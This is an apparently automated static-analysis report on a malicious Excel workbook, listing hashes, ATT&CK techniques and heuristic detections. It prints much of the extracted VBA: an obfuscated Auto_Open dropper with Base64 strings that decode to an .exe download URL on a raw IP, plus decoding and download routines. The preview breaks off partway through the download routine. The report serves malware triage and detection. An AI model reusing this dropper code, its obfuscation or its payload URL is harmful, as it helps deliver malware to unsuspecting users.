Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8eedef23366481e6…

MALICIOUS

Office (OOXML)

49.7 KB Created: 2020-02-01 18:28:07 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2020-09-07
MD5: eecc395faed6c8c7477347b808391250 SHA-1: 25b0694cc6a9f7fa17d9621a2d29e67e8bd3614c SHA-256: 8eedef23366481e699edf3fef709acdbffd1da46272274a2987d2d131077f5b1
392 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This Excel document contains a VBA macro with an Auto_Open subroutine that utilizes Shell() and CreateObject() to execute a Base64-encoded command. This command decodes to a URL that downloads a PE file. The presence of an Equation Editor OLE object and the embedded URL strongly suggest a malicious intent to deliver a second-stage payload.

Heuristics 12

  • Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
    Embedded OLE object xl/embeddings/oleObject3.bin contains the Equation Editor CLSID, the legacy component exploited by CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798.
  • Embedded Office object carries macros critical OFFICE_EMBEDDED_MACRO_OBJECT
    This document embeds a second Office file that itself contains a VBA macro project or an Excel 4.0 (XLM) macro sheet. Hiding a macro-bearing workbook or document inside another document — frequently under an obfuscated, non-standard part name — is a macro-smuggling technique that defeats scanners which only inspect the outer document's macro storage. No benign authoring workflow stages a hidden macro project this way.
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    varstrlong = varstrlong + "       sWScript = sWScript + "".""" + vbCrLf
varstrlong = varstrlong + "       m = sWScript + ""Shell""" + vbCrLf
varstrlong = varstrlong + "       Execute(""l=m"")  '15481" + vbCrLf
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    varstrlong = varstrlong + "    'He was disappointed when he found the beach to be so sandy and the sun so sunny." + vbCrLf
varstrlong = varstrlong + "    varob = ""CreateObject""  '15481" + vbCrLf
varstrlong = varstrlong + "    Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"") " + vbCrLf
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    varstrlong = varstrlong + "    'He was disappointed when he found the beach to be so sandy and the sun so sunny." + vbCrLf
varstrlong = varstrlong + "    varob = ""CreateObject""  '15481" + vbCrLf
varstrlong = varstrlong + "    Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"") " + vbCrLf
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub Auto_Open()
varstrlong = varstrlong + "fsdfdsfs = ""Z2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdk""" + vbCrLf
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Payload URL recovered from embedded OLE object (1 URL) info OOXML_EMBEDDED_OBJECT_URL
    An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.234.218.145/sfhIXiYdedsCqCf.exe Referenced by macro

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 64250 bytes
SHA-256: dc6b2c5d06a193ad263a5e946ef4c84a1c19e76768a5fb5ea4f08f75af41220a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()
varstrlong = varstrlong + "fsdfdsfs = ""Z2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdk""" + vbCrLf
varstrlong = varstrlong + "fsdfdsfs = ""aHR0cDovLzE4NS4yMzQuMjE4LjE0NS9zZmhJWGlZZGVkc0NxQ2YuZXhl"" " + vbCrLf
varstrlong = varstrlong + "yulkytjtrhtjrkdsarjky =""bXN3b3JkeC5leGU=""" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = 0" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = ""bin""" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr + ""."" " + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr + ""base""" + vbCrLf
varstrlong = varstrlong + "jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr = jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr + ""64"" " + vbCrLf
varstrlong = varstrlong + "dim after, path" + vbCrLf
varstrlong = varstrlong + "after = ""later""  '15481" + vbCrLf
varstrlong = varstrlong + "dim Ffputp3Y7wf7lmo0exjW0OfIIiC5wMNPjUN4wTG2aHXBvHn1Qm7hCMFRrQe7tW57TGfAcxm2SPood0ri3hiXqvLAVW3ZH01IrHxbY9iEqhnWTK, f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF" + vbCrLf
varstrlong = varstrlong + "Sub hghfghfghDecode(bace64, ut16) " + vbCrLf
varstrlong = varstrlong + "    Dim T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc, euygerg347gr734gr73g, bf4ty3g47rf347fr736fr347fr34" + vbCrLf
varstrlong = varstrlong + "    if ut16 Then T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc = ""utf-16le"" Else T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc = ""utf-8""" + vbCrLf
varstrlong = varstrlong + "    'He was disappointed when he found the beach to be so sandy and the sun so sunny." + vbCrLf
varstrlong = varstrlong + "    varob = ""CreateObject""  '15481" + vbCrLf
varstrlong = varstrlong + "    Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"") " + vbCrLf
varstrlong = varstrlong + "   alxmd.DataType = jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr '15481" + vbCrLf
varstrlong = varstrlong + "    alxmd.Text = bace64 " + vbCrLf
varstrlong = varstrlong + "    aaax = ""ADODB.Stream"" '15481" + vbCrLf
varstrlong = varstrlong + "    novarue = ""Node""" + vbCrLf
varstrlong = varstrlong + "    Execute(""novarue = novarue + """"TypedValue"""""")" + vbCrLf
varstrlong = varstrlong + "    Execute(""byteArray = alxmd."" + novarue)" + vbCrLf
varstrlong = varstrlong + "    If LCase(T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc) = ""utf-16le"" then " + vbCrLf
varstrlong = varstrlong + "    'Someone I know recently combined Maple Syrup & buttered Popcorn thinking it would taste like caramel popcorn. It didn’t and they don’t recommend anyone else do it either." + vbCrLf
varstrlong = varstrlong + "        Ffputp3Y7wf7lmo0exjW0OfIIiC5wMNPjUN4wTG2aHXBvHn1Qm7hCMFRrQe7tW57TGfAcxm2SPood0ri3hiXqvLAVW3ZH01IrHxbY9iEqhnWTK = CStr(byteArray)" + vbCrLf
varstrlong = varstrlong + "    Else ' Convert the specified text encoding to a VBScript string." + vbCrLf
varstrlong = varstrlong + "        ' Create a binary stream and copy the input byte array to it." + vbCrLf
varstrlong = varstrlong + "            varob = ""CreateObject"" " + vbCrLf
varstrlong = varstrlong + "            Execute(""Set baax = "" + varob + ""(aaax)"") '15481" + vbCrLf
varstrlong = varstrlong + "            baax.Type = 1:baax.Open:baax.Write byteArray" + vbCrLf
varstrlong = varstrlong + "            baax.Position = 0" + vbCrLf
varstrlong = varstrlong + "            baax.Type = 2 ' adTypeText" + vbCrLf
varstrlong = varstrlong + "            baax.CharSet = T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc" + vbCrLf
varstrlong = varstrlong + "            Ffputp3Y7wf7lmo0exjW0OfIIiC5wMNPjUN4wTG2aHXBvHn1Qm7hCMFRrQe7tW57TGfAcxm2SPood0ri3hiXqvLAVW3ZH01IrHxbY9iEqhnWTK = baax.ReadText '15481" + vbCrLf
varstrlong = varstrlong + "            baax.Close" + vbCrLf
varstrlong = varstrlong + "    End If" + vbCrLf
varstrlong = varstrlong + "end sub" + vbCrLf
varstrlong = varstrlong + "Sub tse64Decode(bace64, ut16)" + vbCrLf
varstrlong = varstrlong + "    Dim T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc " + vbCrLf
varstrlong = varstrlong + "    if ut16 Then T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc = ""utf-16le"" Else T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc = ""utf-8"" '15481" + vbCrLf
varstrlong = varstrlong + " " + vbCrLf
varstrlong = varstrlong + "    varob = ""CreateObject""" + vbCrLf
varstrlong = varstrlong + "    Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"")" + vbCrLf
varstrlong = varstrlong + "   alxmd.DataType = jg954h9gh4ioj3iougrufg43gt3u4yg34ihfligufy34fg3wgeuyfg384f34gf374gf3yutfg3467glreiuhf3ojg954h9gh4ioj3iougr" + vbCrLf
varstrlong = varstrlong + "    alxmd.Text = bace64 " + vbCrLf
varstrlong = varstrlong + "    aaax = ""ADODB.Stream""  '15481" + vbCrLf
varstrlong = varstrlong + "    novarue = ""Node""" + vbCrLf
varstrlong = varstrlong + "    Execute(""novarue = novarue + """"TypedValue"""""")" + vbCrLf
varstrlong = varstrlong + "    Execute(""byteArray = alxmd."" + novarue)" + vbCrLf
varstrlong = varstrlong + "    If LCase(T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc) = ""utf-16le"" then" + vbCrLf
varstrlong = varstrlong + "        ' UTF-16 LE happens to be VBScript's internal encoding, so we can '15481" + vbCrLf
varstrlong = varstrlong + "        ' take a shortcut and use CStr() to directly convert the byte array" + vbCrLf
varstrlong = varstrlong + "        ' to a string." + vbCrLf
varstrlong = varstrlong + "        f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = CStr(byteArray)" + vbCrLf
varstrlong = varstrlong + "    Else ' Convert the specified text encoding to a VBScript string." + vbCrLf
varstrlong = varstrlong + "        ' Create a binary stream and copy the input byte array to it. " + vbCrLf
varstrlong = varstrlong + "            varob = ""CreateObject""" + vbCrLf
varstrlong = varstrlong + "            Execute(""Set baax = "" + varob + ""(aaax)"") " + vbCrLf
varstrlong = varstrlong + "            baax.Type = 1 ' adTypeBinary" + vbCrLf
varstrlong = varstrlong + "            Execute(""baax."" + ""Open"") " + vbCrLf
varstrlong = varstrlong + "            baax.Write byteArray" + vbCrLf
varstrlong = varstrlong + "            ' Now change the type to text, set the encoding, and output the " + vbCrLf
varstrlong = varstrlong + "            ' result as text. " + vbCrLf
varstrlong = varstrlong + "            baax.Position = 0" + vbCrLf
varstrlong = varstrlong + "            baax.Type = 2 ' adTypeText" + vbCrLf
varstrlong = varstrlong + "            baax.CharSet = T4A0MqhRnB3NXpn9i5VYEJ5TazUaGXZ6YUzEsizL0eSn6YrJaD76KVbSbtysfTDjz8o7XCmhZVSVxSlOcUAQMujVdnj9hxM5H9rKL9migXIfbc" + vbCrLf
varstrlong = varstrlong + "            f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = baax.ReadText " + vbCrLf
varstrlong = varstrlong + "            baax.Close" + vbCrLf
varstrlong = varstrlong + "    End If" + vbCrLf
varstrlong = varstrlong + "end sub" + vbCrLf
varstrlong = varstrlong + "call hghfghfghDecode(yulkytjtrhtjrkdsarjky,False) 'Ffputp3Y7wf7lmo0exjW0OfIIiC5wMNPjUN4wTG2aHXBvHn1Qm7hCMFRrQe7tW57TGfAcxm2SPood0ri3hiXqvLAVW3ZH01IrHxbY9iEqhnWTK" + vbCrLf
varstrlong = varstrlong + "call tse64Decode(fsdfdsfs,False) 'f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF '15481" + vbCrLf
varstrlong = varstrlong + "Sub HTxTPDownload( aa, bb )" + vbCrLf
varstrlong = varstrlong + "   cobvar = ""Scripting.FileSystemObject""" + vbCrLf
varstrlong = varstrlong + "   Set fso = CreateObject(cobvar) " + vbCrLf
varstrlong = varstrlong + "   path = ""C:""" + vbCrLf
varstrlong = varstrlong + "   path = path + ""\program""" + vbCrLf
varstrlong = varstrlong + "   path = path + ""data""" + vbCrLf
varstrlong = varstrlong + "   path = path + ""\asc.txt""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "   If (fso.FileExists(path)) Then " + vbCrLf
